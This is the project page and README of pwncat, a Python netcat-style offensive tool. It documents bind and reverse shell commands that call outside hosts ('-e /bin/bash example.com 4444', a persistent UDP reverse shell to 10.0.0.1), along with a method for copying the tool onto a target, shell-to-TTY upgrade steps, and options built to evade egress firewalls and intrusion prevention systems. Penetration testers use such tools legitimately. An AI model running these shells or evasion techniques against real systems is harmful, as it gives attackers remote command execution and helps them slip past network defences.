Netcat on steroids with FW and IPS evasion, bind and reverse shell, local and remote port-forward.
Project description
pwncat
Install | TL;DR | Features | Documentation | Usage | Examples | cytopia sec tools | Contributing | Disclaimer | License
Netcat on steroids with Firewall and IPS evasion, bind and reverse shell, local and remote port-forward.
Motivation
Ever accidentally hit Ctrl+c on your reverse shell and it was gone for good?
Ever waited forever for your client to connect back to you, because the Firewall didn't let it out?
Ever had a connection loss because an IPS closed suspicious ports?
Ever were in need of port-forwarding, but you didn't have SSH access?
This one got you covered.
Apart from that the current features of nc
, ncat
or socat
just didn't feed my needs and I also wanted to have a single
tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with.
(Wait for it, binary releases for Linux, MacOS and Windows will come shortly).
Some options are still under development. See Roadmap and Changelog for details.
:tada: Install
pip install pwncat
:coffee: TL;DR
Copy to target
# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64
# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat
Summon shells
# bind shell
pwncat -l -e '/bin/bash' 8080
# reverse shell
pwncat -e '/bin/bash' example.com 4444
Port-forwarding without SSH
See here to un-brainfuck: https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/
(Using the same examples to make it more clear)
The only difference to SSH port-forwarding shown in the blog, is that in their case, the MySQL server is only available on localhost on the remote server. SSH portfowarding is exactly for this case, as it SSH's into the machine and can reach their local port. In the example here, we cannot SSH into the server, so we can only forward/proxy something which is externally available. That's why we just assume the MySQL server is listening publically on everythingcli.org (i.e, their port 3306 is externally available.)
# Local port forward (-L)
# Make Remote MySQL server (remote port 3306) available on local machine on local port 5000
# (listen locally on 127.0.0.1:5000 and proxy everything to everythingcli.org:3306)
pwncat -L 127.0.0.1:5000 everythingcli.org 3306
# Remote port forward (-R) to evade firewalls
pwncat -R 127.0.0.1:3306 example.com 4444
:star: Features
pwncat
has many features, below is only a list of outstanding characteristics.
Feature | Description |
---|---|
Bind shell | Create bind shells |
Reverse shell | Create reverse shells |
Proxy | Local and remote port forwards without SSH |
Ctrl+c protect | Reverse shell can reconnect if you accidentally hit Ctrl+c |
Detect Egress | Scan and report open egress ports on the target |
Evade FW | Evade egress firewalls by round-robin outgoing ports |
Evade IPS | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts |
UDP rev shell | Try this with the traditional netcat |
TCP / UDP | Full TCP and UDP support |
Python 2+3 | Works with Python 2 and Python 3 |
Cross OS | Should work on Linux, MacOS and Windows as long as Python is available |
Compatability | Use the traditional netcat as a client or server together with pwncat |
:dizzy: Upgrade your shell
When connected to a remote or bind shell you'll notice that no interactive commands will work and accidentally hitting Ctrl+c will terminate your connection. To fix this, you'll need to attach it to a TTY. Here's how:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+z
stty size
stty echo -raw
fg
reset
export SHELL=bash
export TERM=xterm
stty rows <num> columns <num> # values found above by 'stty size'
:closed_book: Documentation
Documentation will evolve over time. Currently only API documentation is available here: https://cytopia.github.io/pwncat/pwncat.api.html
:computer: Usage
usage: pwncat [-Cnuv] [-e cmd] hostname port
pwncat [-Cnuv] [-e cmd] -l [hostname] port
pwncat [-Cnuv] -z hostname port
pwncat [-Cnuv] -L addr:port [hostname] port
pwncat [-Cnuv] -R addr:port hostname port
pwncat -V, --version
pwncat -h, --help
Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion prevention systems.
positional arguments:
hostname Address to listen, forward or connect to
port Port to listen, forward or connect to
mode arguments:
-l, --listen [Listen mode]:
Start server and listen for incoming connections.
-z, --zero [Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
-L addr:port, --local addr:port
[Local forward mode]:
Specify local <addr>:<port> to which traffic should be
forwarded to. pwncat will listen locally
(specified by hostname and port) and forward all
traffic to the specified value for -L/--local.
-R addr:port, --remote addr:port
[Remote forward mode]:
Specify local <addr>:<port> from which traffic should be
forwarded from. pwncat will connect remotely
(specified by hostname and port) and for ward all
traffic from the specified value for -R/--remote.
optional arguments:
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
-C, --crlf Send CRLF line-endings in connect mode (default: LF)
-n, --nodns Do not resolve DNS.
-u, --udp UDP mode
-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three -v.
advanced arguments:
--reinit x Listen mode (TCP only):
If the server is unable to bind or accept clients, it
will re-initialize itself x many times before giving up.
Use 0 to re-initialize endlessly. (default: don't).
Connect mode (TCP only):
If the client is unable to connect to a remote endpoint,
it will try again x many times before giving up.
Use 0 to retry endlessly. (default: don't)
Zero-I/O mode (TCP only):
Same as connect mode.
--reconn x Listen mode (TCP only):
If the client has hung up, the server will re-accept a
new client x many times before quitting. Use 0 to accept
endlessly. (default: quit after a client has hung up)
Connect mode (TCP only):
If the remote server is gone, the client will re-connect
to it x many times before giving up. Use 0 to reconnect
endlessy. (default: don't)
This might be handy for reverse shells ;-)
--reinit-robin port Connect mode (TCP only):
If the client does multiple initial connections to a
remote endpoint (via --reinit), this option instructs it
to also "round-robin" different ports to connect to. It
will stop iterating after first successfull connection
and stick with it or quit if --reinit limit is reached.
Use comma separated string: 80,81,82 or a range 80-100.
Set --reinit to at least the number of ports to probe +1
Set --reinit-wait to 0
This helps to evade EGRESS firewalls for reverse shells
Use with -z/--zero to probe outbound allowed ports.
Ensure to have enough listeners at the remote endpoint.
--reconn-robin port Connect mode (TCP only):
If the remote endpoint is gone after initial successful
connection, and the the client is set to reconnect with
(--reconn), it will connect back by "round-robin" to
different ports. It will stop after --reconn limit has
reached.
Set --reconn to at least the number of ports to probe +1
Set --reconn-wait to 0
This help your reverse shell to evade intrusion
prevention systems that will cut your connection and
block the outbound port.
--reinit-wait s Wait x seconds between re-inits. (default: 1)
--reconn-wait s Wait x seconds between re-connects. (default: 1)
--udp-ping-intvl s Connect mode (UDP only):
As UDP is stateless, a client must first connect to a
server before the server can communicate with it.
If you listen on UDP and wait for a reverse UDP client
or reverse UDP shell, you can only talk to it after it
has sent you some initial data, as UDP does not have a
"connect" state like TCP.
This option instructs the UDP client to send a single
newline every s seconds. By not only doing it once,
but in intervals, you can also maintain a connection
if you restart your listening server.
misc arguments:
-h, --help Show this help message and exit
-V, --version Show version information and exit
:bulb: Examples
Find below some more detailed and advanced examples.
Unbreakable UDP reverse shell
Why unbreakable? Because it will keep coming to you, also if you kill your listening server.
# The client
# --exec # Provide this executable
# --nodns # Keep the noise down and don't resolve hostnames
# --udp # Use UDP mode
# --udp-ping-intvl # Ping the server every 10 seconds
pwncat --exec /bin/bash --nodns --udp --udp-ping-intvl 10 10.0.0.1 4444
If you feel like, you can start your listener in full TRACE logging mode to figure out what's going on
# The server
# -u # Use UDP mode
# -l # Listen for incoming connections
pwncat -u -l -vvvvv
You will see (among all the gibberish) a TRACE message:
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:43213'
As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:
# The server
pwncat -u -l -vvvvv
Now wait a maximum of 10 seconds and you can issue commands. Having no info messages at all, are also troublesome. You might also want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:
# The server
# 2> comm.txt # This redirects the messages to a logfile instead
pwncat -u -l -vvv 2> comm.txt
Now all you'll see in your server window are the actual command inputs and outputs.
If you want to see what's going on behind the scene, open a second terminal window and tail
the comm.txt
file:
# View communication info
tail -fn50 comm.txt
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
:lock: cytopia sec tools
Below is a list of sec tools and docs I am maintaining.
Name | Category | Language | Description |
---|---|---|---|
offsec | Documentation | Markdown | Offsec checklist, tools and examples |
header-fuzz | Enumeration | Bash | Fuzz HTTP headers |
smtp-user-enum | Enumeration | Python 2+3 | SMTP users enumerator |
urlbuster | Enumeration | Python 2+3 | Mutable web directory fuzzer |
pwncat | Pivoting | Python 2+3 | Cross-platform netcat on steroids |
badchars | Reverse Engineering | Python 2+3 | Badchar generator |
fuzza | Reverse Engineering | Python 2+3 | TCP fuzzing tool |
:octocat: Contributing
See Contributing guidelines to help to improve this project.
:exclamation: Disclaimer
This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.
:page_facing_up: License
Copyright (c) 2020 cytopia
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